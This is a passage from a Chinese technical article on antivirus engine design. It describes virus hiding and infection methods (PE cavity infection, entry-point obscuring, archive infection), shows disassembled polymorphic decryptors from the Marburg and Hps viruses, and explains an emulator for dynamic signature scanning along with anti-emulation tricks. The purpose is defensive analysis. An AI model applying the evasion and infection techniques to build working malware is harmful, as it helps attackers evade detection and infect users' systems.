实现进程或模块隐藏应该是一个成功病毒所必须具备的特征。在WIN9X下Kernel32.dll有一个可以使进程从进程管理器进程列表中消失的导出函数RegisterServiceProcess ,但它不能使病毒逃离一些进程浏览工具的监视。但当你知道这些工具是如何来枚举进程后,你也会找到对付这些工具相应的办法。进程浏览工具在WIN9X下大都使用一个叫做ToolHelp32.dll的动态连接库中的Process32First和Process32Next两个函数来实现进程枚举的;而在WINNT/2000里也有PSAPI.DLL导出的EnumProcess可用以实现同样之功能。所以病毒就可以考虑修改这些公用函数的部分代码,使之不能返回特定进程的信息从而实现病毒的隐藏。 

但事情远没有想象中那么简单,俗话说“道高一尺,魔高一丈”,此理不谬。由于现在很多逆项工程师的努力,微软力图隐藏的许多秘密已经逐步被人们所挖掘出来。当然其中就包括WINDOWS内核使用的管理进程和模块的内部数据结构和代码。比如WINNT/2000用由ntoskrnl.exe导出的内核变量PsInitialSystemProcess所指向的进程Eprocess块双向链表来描述系统中所有活动的进程。如果进程浏览工具直接在驱动程序的帮助下从系统内核空间中读出这些数据来枚举进程,那么任何病毒也无法从中逃脱。 

有关Eprocess的具体结构和功能,请参看David A.Solomon和Mark E.Russinovich的《Inside Windows2000》第三版。 

1.2.8病毒特殊感染法 
对病毒稍微有些常识的人都知道,普通病毒是通过将自身附加到宿主尾部(如此一来,宿主的大小就会增加),并修改程序入口点来使病毒得到击活。但现在不少病毒通过使用特殊的感染技巧能够使宿主大小及宿主文件头上的入口点保持不变。 

附加了病毒代码却使被感染文件大小不变听起来让人不可思议,其实它是利用了PE文件格式的特点:PE文件的每个节之间留有按簇大小对齐后的空洞,病毒体如果足够小则可以将自身分成几份并分别插入到每个节最后的空隙中,这样就不必额外增加一个节,因而文件大小保持不变。著名的CIH病毒正是运用这一技术的典型范例(它的大小只有1K左右)。 

病毒在不修改文件头入口点的前提下要想获得控制权并非易事:入口点不变意味着程序是从原程序的入口代码处开始执行的,病毒必须要将原程序代码中的一处修改为导向病毒入口的跳转指令。原理就是这样,但其中还存在很多可讨论的地方,如在原程序代码的何处插入这条跳转指令。一些查毒工具扫描可执行文件头部的入口点域,如果发现它指向的地方不正常,即不在代码节而在资源节或重定位节中,则有理由怀疑文件感染了某种病毒。所以刚才讨论那种病毒界称之为EPO(入口点模糊)的技术可以很好的对付这样的扫描,同时它还是反虚拟执行的重要手段。 

另外值得一提的是现在不少病毒已经支持对压缩文件的感染。如Win32.crypto病毒就可以感染ZIP,ARJ,RAR,ACE,CAB 等诸多类型的压缩文件。这些病毒的代码中含有对特定压缩文件类型解压并压缩的代码段,可以先把压缩文件中的内容解压出来,然后对合适的文件进行感染,最后再将感染后文件压缩回去并同时修改压缩文件头部的校验和。目前不少反病毒软件都支持查多种格式的压缩文件,但对有些染毒的压缩文件无法杀除。原因我想可能是怕由于某种缘故,如解压或压缩有误,校验和计算不对等,使得清除后压缩文件格式被破坏。病毒却不用对用户的文件损坏负责,所以不存在这种担心。 

2.虚拟机查毒 
2.1虚拟机概论 
近些年,虚拟机,在反病毒界也被称为通用解密器,已经成为反病毒软件中最引人注目的部分,尽管反病毒者对于它的运用还远没有达到一个完美的程度,但虚拟机以其诸如”病毒指令码模拟器”和”Stryker”等多变的名称为反病毒产品的市场销售带来了光明的前景。以下的讨论将把我们带入一个精彩的虚拟技术的世界中。 

首先要谈及的是虚拟机的概念和它与诸如Vmware(美国VMWARE公司生产的一款虚拟机,它支持在WINNT/2000环境下运行如Linux等其它操作系统)和WIN9X下的VDM(DOS虚拟机,它用来在32位保护模式环境中运行16实模式代码)的区别。其实这些虚拟机的设计思想是有渊源可寻的,早在上个世纪60年代IBM就开发了一套名为VM/370的操作系统。VM/370在不同的程序之间提供抢先式多任务,作法是在单一实际的硬件上模式出多部虚拟机器。典型的VM/370会话,使用者坐在电缆连接的远程终端前,经由控制程序的一个IPL命令,模拟真实机器的初始化程序装载操作,于是 一套完整的操作系统被载入虚拟机器中,并开始为使用者着手创建一个会话。这套模拟系统是如此的完备,系统程序员甚至可以运行它的一个虚拟副本,来对新版本进行除错。Vmware与此非常相似,它作为原操作系统下的一个应用程序可以为运行于其上的目标操作系统创建出一部虚拟的机器,目标操作系统就象运行在单独一台真正机器上,丝毫察觉不到自己处于Vmware的控制之下。当在Vmware中按下电源键(Power On)时,窗口里出现了机器自检画面,接着是操作系统的载入,一切都和真的一样。而WIN9X为了让多个程序共享CPU和其它硬件资源决定使用VMs(所有Win32应用程序运行在一部系统虚拟机上;而每个16位DOS程序拥有一部DOS虚拟机)。VM是一个完全由软件虚构出来的东西,以和真实电脑完全相同的方式来回应应用程序所提出的需求。从某种角度来看,你可以将一部标准的PC的结构视为一套API。这套API的元素包括硬件I/O系统,和以中断为基础的BIOS和MS-DOS。WIN9X常常以它自己的软件来代理这些传统的API元素,以便能够对珍贵的硬件多重发讯。在VM上运行的应用程序认为自己独占整个机器,它们相信自己是从真正的键盘和鼠标获得输入,并从真正的屏幕上输出。稍被加一点限制,它们甚至可以认为自己完全拥有CPU和全部内存。实现虚拟技术关键在于软件虚拟化和硬件虚拟化,下面简要介绍WIN9X下的DOS虚拟机的实现。 

当Windows移往保护模式后,保护模式程序无法直接调用实模式的MS-DOS处理例程,也不能直接调用实模式的BIOS。软件虚拟化就是用来描述保护模式Windows部件是如何能够和实模式MS-DOS和BIOS彼此互动。软件虚拟化要求操作系统能够拦截企图跨越保护模式和实模式边界的调用,并且调整适当的参数寄存器后,改变CPU模式。WIN9X使用虚拟设备驱动(VXD)拦截来自保护模式的中断,通过实模式中断向量表(IVT),将之转换为实模式中断调用。做为转换的一部分,VXD必须使用置于保护模式扩展内存中的参数,生成出适当的参数,并将之放在实模式(V86)操作系统可以存取的地方。服务结束后,VXD在把结果交给扩展内存中保护模式调用端。16位DOS程序中大量的21H和13H中断调用就此解决,但其中还存在不少直接端口I/O操作,这就需要引入硬件虚拟化来解决。虚拟硬件的出现是为了在硬件中断请求线上产生中断请求,为了回应IN和OUT指令,改变特殊内存映射位置等原因。硬件虚拟化依赖于Intel 80386+的几个特性。其中一个是I/O许可掩码,使操作系统可能诱捕(Trap)对任何一个端口的所有IN/OUT指令。另一个特性是:由硬件辅助的分页机制,使操作系统能够提供虚拟内存,并拦截对内存地址的存取操作,将Video RAM虚拟化是此很好的例证。最后一个必要的特性是CPU的虚拟8086(V86)模式 ,让DOS程序象在实模式中那样地执行。 

我们下面讨论用于查毒的虚拟机并不是象某些人想象的:如Vmware一样为待查可执行程序创建一个虚拟的执行环境,提供它可能用到的一切元素,包括硬盘,端口等,让它在其上自由发挥,最后根据其行为来判定是否为病毒。当然这是个不错的构想,但考虑到其设计难度过大(需模拟元素过多且行为分析要借助人工智能理论),因而只能作为以后发展的方向。我设计的虚拟机严格的说不能称之为虚拟机器,而叫做虚拟CPU,通用解密器等更为合适一些,但由于反病毒界习惯称之为虚拟机,所以在下面的讨论中我还将延续这个名称。查毒的虚拟机是一个软件模拟的CPU,它可以象真正CPU一样取指,译码,执行,它可以模拟一段代码在真正CPU上运行得到的结果。给定一组机器码序列,虚拟机会自动从中取出第一条指令操作码部分,判断操作码类型和寻址方式以确定该指令长度,然后在相应的函数中执行该指令,并根据执行后的结果确定下条指令的位置,如此循环反复直到某个特定情况发生以结束工作,这就是虚拟机的基本工作原理和简单流程。设计虚拟机查毒的目的是为了对付加密变形病毒,虚拟机首先从文件中确定并读取病毒入口处代码,然后以上述工作步骤解释执行病毒头部的解密段(decryptor),最后在执行完的结果(解密后的病毒体明文)中查找病毒的特征码。这里所谓的“虚拟”,并非是创建了什么虚拟环境,而是指染毒文件并没有实际执行,只不过是虚拟机模拟了其真实执行时的效果。这就是虚拟机查毒基本原理,具体介绍请参看后面的相关章节。 

当然,虚拟执行技术使用范围远不止自动脱壳(虚拟机查毒实际上是自动跟踪病毒入口的解密子将加密的病毒体按其解密算法进行解密),它还可以应用在跨平台高级语言解释器,恶意代码分析,调试器。如刘涛涛设计的国产调试器Trdos就是完全利用虚拟技术解释执行被调试程序的每条指令,这种调试器比较起传统的断点式调试器(Debug,Softice等)具有诸多优势,如不易被被调试者察觉,断点个数没有限制等。 

2.2加密变形病毒 
前面提到过设计虚拟机查毒的目的是为了对付加密变形病毒。这一章就重点介绍加密变形技术。 

早期病毒没有使用任何复杂的反检测技术,如果拿反汇编工具打开病毒体代码看到的将是真正的机器码。因而可以由病毒体内某处一段机器代码和此处距离病毒入口(注意不是文件头)偏移值来唯一确定一种病毒。查毒时只需简单的确定病毒入口并在指定偏移处扫描特定代码串。这种静态扫描技术对付普通病毒是万无一失的。 

随着病毒技术的发展,出现了一类加密病毒。这类病毒的特点是:其入口处具有解密子(decryptor),而病毒主体代码被加了密。运行时首先得到控制权的解密代码将对病毒主体进行循环解密,完成后将控制交给病毒主体运行,病毒主体感染文件时会将解密子,用随机密钥加密过的病毒主体,和保存在病毒体内或嵌入解密子中的密钥一同写入被感染文件。由于同一种病毒的不同传染实例的病毒主体是用不同的密钥进行加密,因而不可能在其中找到唯一的一段代码串和偏移来代表此病毒的特征,似乎静态扫描技术对此即将失效。但仔细想想,不同传染实例的解密子仍保持不变机器码明文(从理论上讲任何加密程序中都存在未加密的机器码,否则程序无法执行),所以将特征码选于此处虽然会冒一定的误报风险(解密子中代码缺少病毒特性,同样的特征码也会出现在正常程序中),但仍不失为一种有效的方法。 

由于加密病毒还没有能够完全逃脱静态特征码扫描,所以病毒写作者在加密病毒的基础之上进行改进,使解密子的代码对不同传染实例呈现出多样性,这就出现了加密变形病毒。它和加密病毒非常类似,唯一的改进在于病毒主体在感染不同文件会构造出一个功能相同但代码不同的解密子,也就是不同传染实例的解密子具有相同的解密功能但代码却截然不同。比如原本一条指令完全可以拆成几条来完成,中间可能会被插入无用的垃圾代码。这样,由于无法找到不变的特征码,静态扫描技术就彻底失效了。下面先举两个例子说明加密变形病毒解密子构造,然后再讨论怎样用虚拟执行技术检测加密变形病毒。 

著名多形病毒Marburg的变形解密子: 

 00401020: movsx edi,si ;病毒入口 
 00401023: movsx edx,bp 
 00401026: jmp 00408a99 
 …… 
 00407400: ;病毒体入口 
 加密的病毒主体 
 00408a94: ;解密指针初始值 
 …… 
 00408a99: mov dl,f7 
 00408a9b: movsx edx,bx 
 00408a9e: mov ecx,cf4b9b4f 
 00408aa3: call 00408ac4 
 …… 
 00408ac4: pop ebx 
 00408ac5: jmp 00408ade 
 …… 
 00408ade: mov cx,di 
 00408ae1: add ebx,9fdbd22d 
 00408ae7: jmp 00408b08 
 …… 
 00408b08: add ecx,80c1fbc1 
 00408b0e: mov ebp,7fcdeff3 ;循环解密记数器初值 
 00408b13: sub cl,39 
 00408b16: movsx esi,si 
 00408b19: add dword ptr[ebx+60242dbf],9ef42073 ;解密语句,9ef42073是密钥 
 00408b23: mov edx,6fd1d4cf 
 00408b28: mov di,dx 
 00408b2b: inc ebp 
 00408b2c: xor dl,a3 
 00408b2f: mov cx,si 
 00408b32: sub ebx,00000004 ;移动解密偏移指针,逆向解密 
 00408b38: mov ecx,86425df9 
 00408b3d: cmp ebp,7fcdf599 ;判断解密结束与否 
 00408b43: jnz 00408b16 
 00408b49: jmp 00408b62 
 …… 
 00408b62: mov di,bp 
 00408b65: jmp 00407400 ;将控制权交给解密后的病毒体入口 
 著名多形病毒Hps的变形解密子: 

 005365b8: ;解密指针初始值和病毒体入口 
 加密的病毒主体 
 …… 
 005379cd: call 005379e2 
 …… 
 005379e2: pop ebx 
 005379e3: sub ebx,0000141a ;设置解密指针初值 
 005379e9: ret 
 …… 
 005379f0: dec edx ;减少循环记数值 
 005379f1: ret 
 …… 
 00537a00: xor dword ptr[ebx],10e7ed59 ;解密语句,10e7ed59是密钥 
 00537a06: ret 
 …… 
 00537a1a: sub ebx,ffffffff 
 00537a20: sub ebx,fffffffd ;移动解密指针,正向解密 
 00537a26: ret 
 …… 
 00537a30: mov edx,74d9cb97 ;设置循环记数初值 
 00537a35: ret 
 …… 
 00537a3f: call 005379cd ;病毒入口 
 00537a44: call 00537a30 
 00537a49: call 00537a00 
 00537a4e: call 00537a1a 
 00537a53: call 005379f0 
 00537a58: mov esi,edx 
 00537a5a: cmp esi,74d9c696 ;判断解密结束与否 
 00537a60: jnz 00537a49 
 00537a66: jmp 005365b8 ;将控制权交给解密后的病毒体入口 
 以上的代码看上去绝对不会是用编译器编译出来,或是编程者手工写出来的,因为其中充斥了大量的乱数和垃圾。代码中没有注释部分均可认为是垃圾代码,有用部分完成的功能仅是循环向加密过的病毒体的每个双字加上或异或一个固定值。这只是变形病毒传染实例的其中一个,别的实例的解密子和病毒体将不会如此,极度变形以至让人无法辩识。至于变形病毒的实现技术由于涉及复杂的算法和控制,因此不在我们讨论范围内。 

这种加密变形病毒的检测用传统的静态特征码扫描技术显然已经不行了。为此我们采取的方法是动态特征码扫描技术,所谓“动态特征码扫描”指先在虚拟机的配合下对病毒进行解密,接着在解密后病毒体明文中寻找特征码。我们知道解密后病毒体明文是稳定不变的,只要能够得到解密后的病毒体就可以使用特征码扫描了。要得到病毒体明文首先必须利用虚拟机对病毒的解密子进行解释执行,当跟踪并确定其循环解密完成或达到规定次数后,整个病毒体明文或部分已被保存到一个内部缓冲区中了。虚拟机之所以又被称为通用解密器在于它不用事先知道病毒体的加密算法,而是通过跟踪病毒自身的解密过程来对其进行解密。至于虚拟机怎样解释指令执行,怎样确定可执行代码有无循环解密段等细节将在下一节中介绍。 

2.3虚拟机实现技术详解 
有了前面关于加密变形病毒的介绍,现在我们知道动态特征码扫描技术的关键就在于必须得到病毒体解密后的明文,而得到明文产生的时机就是病毒自身解密代码解密的完毕。目前有两种方法可以跟踪控制病毒的每一步执行,并能够在病毒循环解密结束后从内存中读出病毒体明文。一种是单步和断点跟踪法,和目前一些程序调试器相类似;另一种方法当然就是虚拟执行法。下面分别分析单步和断点跟踪法和虚拟执行法的技术细节。 

单步跟踪和断点是实现传统调试器的最根本技术。单步的工作原理很简单:当CPU在执行一条指令之前会先检查标志寄存器,如果发现其中的陷阱标志被设置则会在指令执行结束后引发一个单步陷阱INT1H。至于断点的设置有软硬之分,软件断点是指调试器用一个通常是单字节的断点指令(CC,即INT3H)替换掉欲触发指令的首字节,当程序执行至断点指令处,默认的调试异常处理代码将被调用,此时保存在栈中的段/偏移地址就是断点指令后一字节的地址;而硬件断点的设置则利用了处理器本身的调试支持,在调试寄存器(DR0–DR4)中设置触发指令的线形地址并设置调试控制寄存器(DR7)中相关的控制位,CPU会在预设指令执行时自动引发调试异常。而Windows本身又提供了一套调试API,使得调试跟踪一个程序变得非常简单:调试器本身不用接挂默认的调试异常处理代码,而只须调用WaitForDebugEvent等待系统发来的调试事件;调试器可利用GetThreadContext挂起被调试线程获取其上下文,并设置上下文中的标志寄存器中的陷阱标志位,最后通过SetThreadContext使设置生效来进行单步调试;调试器还可通过调用两个功能强大的调试API–ReadProcessMemory和WriteProcessMemory来向被调试线程的地址空间中注入断点指令。根据我逆向后的分析结果,VC++的调试器就是直接利用这套调试API写成的。使用以上的调试技术既然可以写出像VC++那样功能齐全的调试器,那么没有理由不能将之运用于病毒代码的自动解密上。最简单的最法:创建待查可执行文件为调试器的调试子进程,然后用上述方法对其进行单步跟踪,每当收到具有EXCEPTION_SINGLE_STEP异常代码的事件时就可以分析该条以单步模式执行的指令,最后当判断病毒的整个解密过程结束后即可调用ReadProcessMemory读出病毒体明文。 

用单步和断点跟踪法的唯一一点好处就在于它不用处理每条指令的执行–这意味着它无需编写大量的特定指令处理函数,因为所有的解密代码都交由CPU去执行,调试器不过是在代码被单步中断的间隙得到控制权而已。但这种方法的缺点也是相当明显的:其一容易被病毒觉察到,病毒只须进行简单的堆栈检查,或直接调用IsDebugerPresent就可确定自己正处于被调试状态;其二由于没有相应的机器码分析模块,指令的译码,执行完全依赖于CPU,所以将导致无法准确地获取指令执行细节并对其进行有效的控制。;其三单步和断点跟踪法要求待查可执行文件真实执行,即其将做为系统中一个真实的进程在自己的地址空间中运行,这当然是病毒扫描所不能允许的。很显然,单步和断点跟踪法可以应用在调试器,自动脱壳等方面,但对于查毒却是不合适的。 

而使用虚拟执行法的唯一一点缺点就在于它必须在内部处理所有指令的执行–这意味着它需要编写大量的特定指令处理函数来模拟每种指令的执行效果,这里根本不存在何时得到控制权的问题,因为控制权将永远掌握在虚拟机手中。用软件方法模拟CPU并非易事,需要对其机制有足够的了解,否则模拟效果将与真实执行相去甚远。举两个例子:一个是病毒常用的乘法后ASCII调整指令AAM,这条指令因为存在未公开的行为从而常常被病毒用来考验虚拟机设计的优劣。通常情况下AAM是双字节指令,操作码为D4 0A(其实0A隐含代表了操作数10);但也可作为单字节指令明确地指定第二字节除数为任意8位立即数,此时操作码仅为D4。虚拟机必需考虑到后一种指定除数的情况来保证模拟结果的正确性;还有一个例子是关于处理器响应中断的方式,即CPU在刚打开中断后将不会马上响应中断,而必须隔一个指令周期。如果虚拟机没有考虑到该机制则很可能虚拟执行流程会与真实情况不符。但虚拟执行的优点也是很明显的,同时它正好填补了单步和断点跟踪法所力不能及的方面:首先是不可能被病毒觉察到,因为虚拟机将在其内部缓冲区中为被虚拟执行代码设立专用的堆栈,所以堆栈检查结果与实际执行无二(不会向堆栈中压入单步和断点中断时的返回地址);其次由于虚拟机自身完成指令的解码和地址的计算,所以能够获取每条指令的执行细节并加以控制;最后,最为关键的一条在于虚拟执行确实做到了“虚拟”执行,系统中不会产生代表被执行者的进程,因为被执行者的寄存器组和堆栈等执行要素均在虚拟机内部实现,因而可以认为它在虚拟机地址空间中执行。鉴于虚拟执行法诸多的优点,所以将其运用于通用病毒体解密上是再好不过的了。 

通常,虚拟机的设计方案可以采取以下三种之一:自含代码虚拟机(SCCE),缓冲代码虚拟机(BCE),有限代码虚拟机(LCE)。 

自含代码虚拟机工作起来象一个真正的CPU。一条指令取自内存,由SCCE解码,并被传送到相应的模拟这条指令的例程,下一条指令则继续这个循环。虚拟机会包含一个例程来对内存/寄存器寻址操作数进行解码,然后还会包括一个用于模拟每个可能在CPU上执行的指令的例程集。正如你所想到的,SCCE的代码会变的无比的巨大而且速度也会很慢。然而SCCE对于一个先进的反病毒软件是很有用的。所有指令都在内部被处理,虚拟机可以对每条指令的动作做出非常详细的报告,这些报告和启发式数据以及通用清除模块将相互参照形成一个有效的反毒系统。同时,反病毒程序能够最精确地控制内存和端口的访问,因为它自己处理地址的解码和计算。 

缓冲代码虚拟机是SCCE的一个缩略版,因为相对于SCCE它具有较小的尺寸和更快的执行速度。在BCE中,一条指令是从内存中取得的,并和一个特殊指令表相比较。如果不是特殊指令,则它被进行简单的解码以求得指令的长度,随后所有这样的指令会被导入到一个可以通用地模拟所有非特殊指令的小过程中。而特殊指令,只占整个指令集的一小部分,则在特定的小处理程序中进行模拟。BCE通过将所有非特殊指令用一个小的通用的处理程序模拟来减少它必须特殊处理的指令条数,这样一来它削减了自身的大小并提高了执行速度。但这意味着它将不能真正限制对某个内存区域,端口或其他类似东西的访问,同时它也不可能生成如SCCE提供的同样全面的报告。 

有限代码虚拟机有点象用于通用解密的虚拟系统所处的级别。LCE实际上并非一个虚拟机,因为它并不真正的模拟指令,它只简单地跟踪一段代码的寄存器内容,也许会提供一个小的被改动的内存地址表,或是调用过的中断之类的东西。选择使用LCE而非更大更复杂的系统的原因,在于即使只对极少数指令的支持便可以在解密原始加密病毒的路上走很远,因为病毒仅仅使用了INTEL指令集的一小部分来加密其主体。使用LCE,原本处理整个INTEL指令集时的大量花费没有了,带来的是速度的巨大增长。当然,这是以不能处理复杂解密程序段为代价的。当需要进行快速文件扫描时LCE就变的有用起来,因为一个小型但象样的LCE可以用来快速检查执行文件的可疑行为,反之对每个文件都使用SCCE算法将会导致无法忍受的缓慢。当然,如果一个文件看起来可疑,LCE还可以启动某个SCCE代码对文件进行全面检查。 

下面开始介绍32位自含代码虚拟机w32encode(w32encode.cpp,Tw32asm.h,Tw32asm.cpp做为查毒引擎的一部分和其它搜索清除模块联编为Rsengine.dll)的程序结构和流程。由于这是一个设计完备且复杂的大型商用虚拟机,其中不可避免地包含了对某些特定病毒的特定处理,为了使虚拟机模型的结构清晰脉络分明,分析时我将做适当的简化。 

w32encode的工作原理很简单:它首先设置模拟寄存器组(用一个DWORD全局变量模拟真实CPU内部的一个寄存器,如ENEAX)的初始值,初始化执行堆栈指针(虚拟机用内部的一个数组static int STACK[0x20]来模拟堆栈)。然后进入一个循环,解释执行指令缓冲区ProgBuffer中的头256条指令,如果循环退出时仍未发现病毒的解密循环则可由此判定非加密变形病毒,若发现了解密循环则调用EncodeInst函数重复执行循环解密过程,将病毒体明文解密到DataSeg1或DataSeg2中。相关部分代码如下: 

W32Encode0中总体流程控制部分代码: 

 for (i=0;i<0×100;i++) //首先虚拟执行256条指令试图发现病毒循环解密子 
 { 
 if (InstLoc>=0×280) 
 return(0); 
 if (InstLoc+ProgSeekOff>=ProgEndOff) 
 return(0); //以上两条判断语句检查指令位置的合法性 
 saveinstloc(); //存储当前指令在指令缓冲区中的偏移 
 HasAddNewInst=0; 
 if (!(j=parse())) //虚拟执行指令缓冲区中的一条指令 
 return(0); //遇到不认识的指令时退出循环 
 if (j==2) //返回值为2说明发现了解密循环 
 break; 
 } 
 if (i==0×100) //执行过256条指令后仍未发现循环则退出 
 return(0); 
 PreParse=0; 
 ProcessInst(); 
 if (!EncodeInst()) //调用解密函数重复执行循环解密过程 
 return(0); 
 jmp中判定循环出现部分代码: 

 if ((loc>=0)&&(loc<InstLoc)) //若转移后指令指针小于当前指令指针则可能出现循环 
 if (!isinstloc(loc)) //在保存的指令指针数组InstLocArray中查找转移后指 
 …… //令指针值,如发现则可判定循环出现 
 else 
 { 
 …… 
 return(2); //返回值2代表发现了解密循环 
 } 
 parse中虚拟执行每条指令的过程较复杂一些:通常parse会从取得指令缓冲区ProgBuffer中取得当前指令的头两个字节(包括了全部操作码)并根据它们的值调用相应的指令处理函数。例如当第一个字节等于0F并且第二个字节位与BE后等于BE时,可判定此指令为movszx并同时调用movszx进行处理。当执行进入特定指令的处理函数中时,首先要通过判断寻址方式(调用modregrm或modregrm1)确定指令长度并将控制权交给saveinst函数。saveinst在保存该指令的相关信息后会调用真正指令执行函数W32ExecuteInst。这个函数和parse非常相似,它从SaveInstBuf1中取得当前指令的头两个字节并根据它们的值调用相应的指令模拟函数以完成一条指令的执行。相关部分代码如下: 

W32ExecuteInst中指令分遣部分代码: 

 if ((c&0xf0)==0×50) 
 {if (ExecutePushPop1(c)) //模拟push和pop 
 return(gotonext()); 
 return(0); 
 } 
 if (c==0×9c) 
 {if (ExecutePushf()) //模拟pushf 
 return(gotonext()); 
 return(0); 
 } 
 if (c==(char)0×9d) 
 {if (ExecutePopf()) //模拟popf 
 return(gotonext()); 
 return(0); 
 } 
 if ((c==0xf)&&((c2&0xbe)==0xbe)) 
 {if (i=ExecuteMovszx(0)) //模拟movszx 
 return(gotonext()); 
 return(0); 
 } 
  2.4虚拟机代码剖析 
总体流程控制和分遣部分的相关代码,在上一章中都已分析过了。下面分析具体的特定指令模拟函数,这才是虚拟机的精华之所在。我将指令分成不依赖标志寄存器和依赖标志寄存器两大类分别介绍: 

2.4.1不依赖标志寄存器指令模拟函数的分析 
push和pop指令的模拟: 

 static int ExecutePushPop1(int c) 
 { 
 if (c<=0×57) 
 {if (StackP<0) //入栈前检查堆栈缓冲指针的合法性 
 return(0); 
 } 
 else 
 if (StackP>=0×40) //出栈前检查堆栈缓冲指针的合法性 
 return(0); 
 if (c<=0×57) { 
 StackP–; 
 ENESP-=4; //如果是入栈指令则在入栈前减少堆栈指针 
 } 
 switch (c) 
 {case 0×50:STACK[StackP]=ENEAX; //模拟push eax 
 break; 
 …… 
 case 0×5f:ENEDI=STACK[StackP]; //模拟push edi 
 break; 
 } 
 if (c>=0×58) { 
 StackP++; 
 ENESP+=4; //如果是出栈指令则在出栈后增加堆栈指针 
 } 
 return(1); 
 } 
 2.4.2依赖标志寄存器指令模拟函数的分析 
CW32Asm类中cmp指令的模拟: 

 void CW32Asm:: cmpw(int c1,int c2) 
 { 
 char FlgReg; 
 __asm { 
 mov eax,c1 //取得第一个操作数 
 mov ecx,c2 //取得第二个操作数 
 cmp eax,ecx //比较 
 lahf //将比较后的标志结果装入ah 
 mov FlgReg,ah //保存结果在局部变量FlgReg中 
 } 
 FlagReg=FlgReg; //保存结果在全局变量FlagReg中 
 } 
 CW32Asm类中jnz指令的模拟: 

 int CW32Asm::JNE() 
 {int i; 
 char FlgReg=FlagReg; //用保存的FlagReg初始化局部变量FlgReg 
 __asm 
 { 
 mov ah,FlgReg //设置ah为保存的模拟标志寄存器值 
 pushf //保存虚拟机自身当前标志寄存器 
 sahf //将模拟标志寄存器值装入真实标志寄存器中 
 mov eax,1 
 jne l //执行jnz 
 popf //恢复虚拟机自身标志寄存器 
 xor eax,eax 
 l: 
 popf //恢复虚拟机自身标志寄存器 
 mov i,eax 
 } 
 return(i); //返回值为1代表需要跳转 
 } 
  2.5反虚拟机技术 
任何一个事物都不是尽善尽美,无懈可击的,虚拟机也不例外。由于反虚拟执行技术的出现,使得虚拟机查毒受到了一定的挑战。这里介绍几个比较典型的反虚拟执行技术: 

首先是插入特殊指令技术,即在病毒的解密代码部分人为插入诸如浮点,3DNOW,MMX等特殊指令以达到反虚拟执行的目的。尽管虚拟机使用软件技术模拟真正CPU的工作过程,它毕竟不是真正的CPU,由于精力有限,虚拟机的编码者可能实现对整个Intel指令集的支持,因而当虚拟机遇到其不认识的指令时将会立刻停止工作。但通过对这类病毒代码的分析和统计,我们发现通常这些特殊指令对于病毒的解密本身没有发生任何影响,它们的插入仅仅是为了干扰虚拟机的工作,换句话说就是病毒根本不会利用这条随机的垃圾指令的运算结果。这样一来,我们可以仅构造一张所有特殊指令对应于不同寻址方式的指令长度表,而不必为每个特殊指令编写一个专用的模拟函数。有了这张表后,当虚拟机遇到不认识的指令时可以用指令的操作码索引表格以求得指令的长度,然后将当前模拟的指令指针(EIP)加上指令长度来跳过这条垃圾指令。当然,还有一个更为保险的办法那就是:得到指令长度后,可以将这条我们不认识的指令放到一个充满空操作指令(NOP)的缓冲区中,接着我们将跳到缓冲区中去执行,这等于让真正的CPU帮我们来执行这条指令,最后一步当然是将执行后真实寄存器中的结果放回我们的模拟寄存器中。这虚拟执行和真实执行参半方法的好处在于:即便在特殊指令对于病毒是有意义的,即病毒依赖其返回结果的情况下,虚拟机仍可保证虚拟执行结果的正确。 

其次是结构化异常处理技术,即病毒的解密代码首先设置自己的异常处理函数,然后故意引发一个异常而使程序流程转向预先设立的异常处理函数。这种流程转移是CPU和操作系统相互配合的结果,并且在很大程度上,操作系统在其中起了很大的作用。由于目前的虚拟机仅仅模拟了没有保护检查的CPU的工作过程,而对于系统机制没有进行处理。所以面对引发异常的指令会有两种结果:其一是某些设计有缺陷的虚拟机无法判断被模拟指令的合法性,所以模拟这样的指令将使虚拟机自身执行非法操作而退出;其二虚拟机判断出被模拟指令属于非法指令,如试图向只读页面写入的指令,则立刻停止虚拟执行。通常病毒使用该技术的目的在于将真正循环解密代码放到异常处理函数后,如此虚拟机将在进入异常处理函数前就停止了工作,从而使解密子有机会逃避虚拟执行。因而一个好的虚拟机应该具备发现和记录病毒安装异常过滤函数的操作并在其引发异常时自动将控制转向异常处理函数的能力。 

再次是入口点模糊(EPO)技术,即病毒在不修改宿主原入口点的前提下,通过在宿主代码体内某处插入跳转指令来使病毒获得控制权。通过前面的分析,我们知道虚拟机扫描病毒时出于效率考虑不可能虚拟执行待查文件的所有代码,通常的做法是:扫描待查文件代码入口,假如在规定步数中没有发现解密循环,则由此判定该文件没有携带加密变形病毒。这种技术之所以能起到反虚拟执行的作用在于它正好利用了虚拟机的这个假设:由于病毒是从宿主执行到一半时获得控制权的,所以虚拟机首先解释执行的是宿主入口的正常程序,当然在规定步数中不可能发现解密循环,因而产生了漏报。如果虚拟机能增加规定步数的大小,则很有可能随着病毒插入的跳转指令跟踪进入病毒的解密子,但确定规定步数大小实在是件难事:太大则将无谓增加正常程序的检测时间;太小则容易产生漏报。但我们对此也不必过于担心,这类病毒由于其编写技术难度较大所以为数不多。在没有反汇编和虚拟执行引擎的帮助下,病毒很难在宿主体内定位一条完整指令的开始处来插入跳转,同时很难保证插入的跳转指令的深度大于虚拟机的规定步数,并且没有把握插入的跳转指令一定会被执行到。 

另外还有多线程技术,即病毒在解密部分入口主线程中又启动了额外的工作线程,并且将真正的循环解密代码放置于工作线程中运行。由于多线程间切换调度由操作系统负责管理,所以我们的虚拟机只能在假定被执行线程独占处理器时间,即保证永远不被抢先,的前提下进行。如此一来,虚拟机对于模拟启用多线程工作的代码将很难做到与真实效果一致。多线程和结构化异常处理两种技术都利用了特定的操作系统机制来达到反虚拟执行的目的,所以在虚拟CPU中加入对特定操作系统机制的支持将是我们今后改进的目标。 

最后是元多形技术(MetaPolymorphy),即病毒中并非是多形的解密子加加密的病毒体结构,而整体均采用变形技术。这种病毒整体都在变,没有所谓“病毒体明文”。当然,其编写难度是很大的。如果说前几种反虚拟机技术是利用了虚拟机设计上的缺陷,可以通过代码改进来弥补的话,那么这种元多形技术却使虚拟机配合的动态特征码扫描法彻底失效了,我们必须寻求如行为分析等更先进的方法来解决。 

3.病毒实时监控 
3.1实时监控概论 
